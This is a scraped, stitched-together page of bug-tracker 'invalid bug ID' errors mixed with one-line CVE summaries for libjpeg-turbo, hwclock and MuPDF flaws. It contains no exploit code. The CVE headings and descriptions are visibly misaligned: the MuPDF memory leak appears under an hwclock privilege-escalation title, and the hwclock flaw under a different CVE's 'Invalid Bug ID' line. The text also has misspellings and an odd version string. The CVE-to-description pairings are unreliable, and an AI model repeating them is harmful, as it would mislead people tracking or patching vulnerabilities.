'3392645?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2020-21687: Invalid Bug ID

libjpeg-turbo version 2.0.90 is vulnerable to a heap-buffer-overflow vulnerability in decompress_smooth_data in jdcoefct.c.

'1943797?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2021-29390: Invalid Bug ID

An issue was discovered in hwclock.13-v2.27 allows attackers to gain escalated privlidges or execute arbitrary commands via the path parameter when setting the date.

CVE-2020-21583: #786804 - hwclock(8) SUID privilege escalation

A memory leak issue discovered in /pdf/pdf-font-add.c in Artifex Software MuPDF 1.17.0 allows attackers to obtain sensitive information.

'702566?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.